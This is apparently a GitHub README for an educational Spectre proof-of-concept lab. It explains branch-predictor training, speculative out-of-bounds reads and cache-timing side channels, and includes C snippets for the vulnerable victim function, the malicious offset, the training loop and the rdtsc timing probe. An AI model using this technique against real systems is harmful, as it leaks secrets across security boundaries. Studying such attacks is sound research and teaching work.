Skip to content

Repository files navigation

Spectre攻击验证实验

实验概述

本实验实现了Spectre漏洞的概念验证,演示如何利用CPU分支预测和缓存侧信道技术读取敏感数据。

攻击原理

  1. 分支预测器训练: 通过多次正确的分支访问训练CPU的分支预测器
  2. 投机执行触发: 使用恶意输入触发投机执行,越界访问敏感数据
  3. 缓存侧信道: 通过测量缓存访问时间来推断被访问的数据值

代码结构

关键变量

  • secret: 包含敏感信息的字符串
  • spy: 用于合法访问的数组
  • cache_set: 256×512字节的缓存驱逐集
  • spy_size: spy数组的大小
  • result: 统计各字节值的缓存命中次数

核心函数

Victim_Function(size_t x)

存在分支预测漏洞的受害者函数:

void Victim_Function(size_t x) {
    if (x < spy_size) {
        temp &= cache_set[spy[x] * 512];
    }
}

read_byte(size_t malicious_x)

执行Spectre攻击读取一个字节的敏感数据:

  1. 缓存刷新: 清空cache_set和spy_size的缓存状态
  2. 分支预测器训练:
    • 5次正常调用Victim_Function(x < spy_size)
    • 1次恶意调用Victim_Function(x = malicious_x,越界访问)
  3. 缓存状态检测:
    • 随机顺序访问cache_set各位置
    • 测量访问时间,判断是否缓存命中
    • 统计各字节值的命中次数
  4. 结果推断: 选择命中次数最多的字节值作为泄露数据

实验步骤详解

步骤1: 准备阶段

size_t malicious_x = (size_t)(secret - (char*)spy);

计算恶意访问的偏移量,使spy[malicious_x]指向secret数据。

步骤2: 缓存刷新

flush_cache_set();
_mm_clflush(&spy_size);

确保缓存处于干净状态,避免干扰。

步骤3: 分支预测器训练

for (j = 29; j >= 0; j--) {
    if (j % 6 != 0) {
        Victim_Function(training_x);  // 正常训练
    } else {
        Victim_Function(malicious_x); // 恶意访问
    }
}

5:1的比例训练分支预测器,使其预测分支为"真"。

步骤4: 缓存侧信道检测

time1 = rdtsc();
junk = *addr;
time2 = rdtsc();
if ((time2 - time1) < threshold) {
    result[mix_i]++;
}

通过时间测量判断缓存命中,统计各字节值的可能性。

编译和运行

编译程序

make

运行攻击

make run

清理文件

make clean

重要参数

  • threshold: 缓存命中阈值,默认80,可根据硬件调整
  • 训练比例: 5:1的正常访问vs恶意访问比例
  • 重试次数: 每个字节尝试1000次攻击
  • 延时: 确保缓存刷新和分支预测器状态的延时

实验环境要求

  1. Intel处理器(支持乱序执行和分支预测)
  2. Linux操作系统
  3. 编译器:GCC
  4. 需要关闭某些编译优化以确保攻击有效

预期结果

成功的攻击应该能够逐字节泄露secret字符串的内容:

目标敏感数据: This is a secret message!
泄露的敏感数据: This is a secret message!

安全意义

这个实验展示了:

  1. CPU性能优化技术可能带来的安全风险
  2. 侧信道攻击的威力
  3. 软件安全需要考虑硬件层面的漏洞

注意事项

  1. 攻击成功率受硬件特性影响
  2. 某些字节可能显示为'?',表示攻击失败
  3. 可以通过调整threshold值来优化攻击效果
  4. 本实验仅用于教育目的,请勿用于恶意攻击

About

No description, website, or topics provided.

Resources

Stars

4 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages